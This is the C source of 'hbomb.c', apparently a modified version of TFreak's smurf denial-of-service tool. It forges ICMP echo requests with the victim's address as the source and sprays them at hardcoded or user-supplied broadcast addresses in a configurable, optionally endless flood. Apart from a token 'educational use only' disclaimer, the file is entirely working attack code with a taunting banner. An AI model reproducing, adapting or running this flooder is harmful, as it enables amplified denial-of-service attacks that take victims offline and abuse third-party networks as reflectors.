/* * * hbomb.c by TFreak ::webxx mods:: * * disclaimer: * I cannot and will not be held responsible nor legally bound for the * malicious activities of individuals who come into possession of this * program and refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. * This is for educational use only. Please Don't abuse this. */ /* #include #include #include #include #include #include #include #include #include */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned short in_chksum(u_short *, int); int curc, cnt; void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10; /* add your own broadcast ips, just make sure to end with NULL */ char *bcastaddr[] = { "200.200.200.255", "155.122.133.255", "123.132.123.255", NULL }; banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s\n", argv[1]); /* (. = 5000 outgoing packets)\n", argv[1]); */ for (i = 0; i < num || !num; i++) { /* if (!(i % 5000)) { printf("."); fflush(stdout); } */ upsc(); if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } puts("\n\n"); } void banner (void) { puts(""); puts("feel da bomb... beeyitch"); /* puts(""); */ } void usage (char *prog) { fprintf(stderr, "usage: %s " " \n", prog); fprintf(stderr, "bcast address of 0 uses hardcoded " "addresses, num packets of 0 constant flood\n"); /* puts(""); */ exit(-1); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct ip *ip; struct icmp *icmp; char *packet; int hincl = 1; packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize); ip = (struct ip *)packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)); ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize; ip->ip_hl = sizeof *ip >> 2; ip->ip_v = 4; ip->ip_ttl = 255; ip->ip_tos = 0; ip->ip_off = 0; ip->ip_id = htons(getpid()); ip->ip_p = 1; ip->ip_src.s_addr = sin.sin_addr.s_addr; ip->ip_dst.s_addr = dest; ip->ip_sum = 0; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc (int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } void upsc() { int i; char schar; switch(cnt) { case 0: { schar = '|'; break; } case 1: { schar = '/'; break; } case 2: { schar = '-'; break; } case 3: { schar = '\\'; break; } case 4: { schar = '|'; cnt = 0; break; } } printf("\n\n[%c] %d", schar, curc); cnt++; for(i=0; i<26; i++) { i++; curc++; } }